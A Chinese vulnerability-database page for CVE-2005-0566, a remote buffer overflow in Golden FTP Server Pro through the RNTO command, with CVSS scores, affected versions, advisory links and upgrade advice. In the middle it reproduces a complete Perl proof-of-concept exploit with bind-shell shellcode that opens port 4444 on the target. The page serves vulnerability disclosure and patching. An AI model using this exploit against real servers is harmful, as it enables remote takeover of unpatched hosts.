CVE-2005-0566
CVSS7.5
发布时间 :2005-01-22 00:00:00
修订时间 :2008-09-05 16:46:39
NMCOES    

[原文]Buffer overflow in Golden FTP Server Pro (goldenftpd) 2.x allows remote attackers to execute arbitrary code via a long RNTO command.


[CNNVD]GoldenFTPServer goldenftpd 缓冲区溢出漏洞(CNNVD-200501-266)

        Golden FTP Server是一款FTP服务端软件。
        Golden FTP Server Pro (goldenftpd) 2.x中存在缓冲区溢出漏洞。
        远程攻击者可以通过超长的RNTO命令,利用此漏洞执行任意代码。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:kmint21_software:golden_ftp_server:1.20b
cpe:/a:kmint21_software:golden_ftp_server:1.00b
cpe:/a:kmint21_software:golden_ftp_server:1.31b
cpe:/a:kmint21_software:golden_ftp_server:1.30b
cpe:/a:kmint21_software:golden_ftp_server:2.02b

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0566
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-0566
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200501-266
(官方数据源) CNNVD

- 其它链接及资源

http://www.kb.cert.org/vuls/id/620862
(VENDOR_ADVISORY)  CERT-VN  VU#620862
http://xforce.iss.net/xforce/xfdb/19015
(VENDOR_ADVISORY)  XF  golden-ftp-rnto-bo(19015)
http://www.securityfocus.com/bid/12333
(VENDOR_ADVISORY)  BID  12333
http://www.goldenftpserver.com
(VENDOR_ADVISORY)  MISC  http://www.goldenftpserver.com
http://secunia.com/advisories/13966/
(VENDOR_ADVISORY)  SECUNIA  13966
http://securitytracker.com/id?1012973
(UNKNOWN)  SECTRACK  1012973
http://lists.grok.org.uk/pipermail/full-disclosure/2005-January/031098.html
(VENDOR_ADVISORY)  FULLDISC  20050122 several BO's in goldenftpd

- 漏洞信息

GoldenFTPServer goldenftpd 缓冲区溢出漏洞
高危 缓冲区溢出
2005-01-22 00:00:00 2006-12-27 00:00:00
远程  
        Golden FTP Server是一款FTP服务端软件。
        Golden FTP Server Pro (goldenftpd) 2.x中存在缓冲区溢出漏洞。
        远程攻击者可以通过超长的RNTO命令,利用此漏洞执行任意代码。

- 公告与补丁

        目前厂商已经发布了升级补丁以修复此安全问题,补丁获取链接:
        http://www.goldenftpserver.com/download.html

- 漏洞信息 (767)

Golden FTP Server <= 2.02b Remote Buffer Overflow Exploit (EDBID:767)
windows remote
2005-01-22 Verified
21 Barabas
[点击下载] [点击下载]
#!/usr/bin/perl -w
# Barabas - www.whitehat.co.il -
# cheers to muts and all peeps at WH.
# XPSP2 goldenftpserver sploit - bind 4444

use strict;
use Net::FTP;
my $payload="\x41"x260;
$payload .="\x65\x82\xa5\x7c";#jmpesp
$payload .="\x90"x32;#not really necessary...blah
# win32_bind - EXITFUNC=seh LPORT=4444 Size=321 Encoder=None http://metasploit.com
$payload .="\xfc\x6a\xeb\x4f\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45".
"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\xe3".
"\x30\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1".
"\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe3\x8b\x5f\x24\x01".
"\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24".
"\x1c\x61\xc3\x31\xc0\x64\x8b\x40\x30\x8b\x40\x0c\x8b\x70\x1c\xad".
"\x8b\x40\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x31\xdb\x66\x53".
"\x66\x68\x33\x32\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc".
"\x3b\x50\xff\xd6\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff".
"\xd0\x68\xd9\x09\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53".
"\x43\x53\xff\xd0\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a".
"\x70\xc7\x57\xff\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9".
"\x57\xff\xd6\x53\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50".
"\x54\x54\x55\xff\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff".
"\xd0\x66\x6a\x64\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89".
"\xe7\x6a\x44\x89\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93".
"\x8d\x7a\x38\xab\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6".
"\x5b\x57\x52\x51\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad".
"\xd9\x05\xce\x53\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83".
"\xc4\x64\xff\xd6\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff".
"\xd0";

my $ftp = Net::FTP->new("127.0.0.1", Debug => 1);
$ftp->login("ftp","ftp");
$ftp->quot("RNTO",$payload); 

# milw0rm.com [2005-01-22]
		

- 漏洞信息

13139
Golden FTP Server Pro RNTO Overflow
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

A remote overflow exists in Golden FTP Server. Golden FTP Server fails to perform proper bounds checking in the RNTO function resulting in a buffer overflow. With a specially crafted request, an attacker can cause arbitrary code execution resulting in a loss of integrity.

- 时间线

2005-01-22 Unknow
2005-01-22 Unknow

- 解决方案

Upgrade to version 2.05b or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

- 漏洞信息

Golden FTP Server Remote Buffer Overflow Vulnerability
Boundary Condition Error 12333
Yes No
2005-01-22 12:00:00 2009-07-12 10:06:00
barabas mutsonline <barbsie@gmail.com> disclosed this vulnerability.

- 受影响的程序版本

KMiNT21 Software Golden FTP Server 2.0 2b
KMiNT21 Software Golden FTP Server 1.31 b
KMiNT21 Software Golden FTP Server 1.30 b
KMiNT21 Software Golden FTP Server 1.20 b
KMiNT21 Software Golden FTP Server 1.0 0b
KMiNT21 Software Golden FTP Server 2.0 5b

- 不受影响的程序版本

KMiNT21 Software Golden FTP Server 2.0 5b

- 漏洞讨论

Golden FTP Server is reported susceptible to a remote buffer overflow vulnerability. This issue is due to a failure of the application to properly bounds check user-supplied input data prior to copying it to an insufficiently sized memory buffer.

This vulnerability allows remote attackers to execute arbitrary machine code in the context of the vulnerable server application.

Versions prior to 2.05b are reportedly affected by this vulnerability.

- 漏洞利用

A proof of concept exploit was provided by barabas mutsonline &lt;barbsie@gmail.com&gt;:

- 解决方案

The vendor has released version 2.05b to address this issue. Please contact the vendor to obtain the fixed version of the application.

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站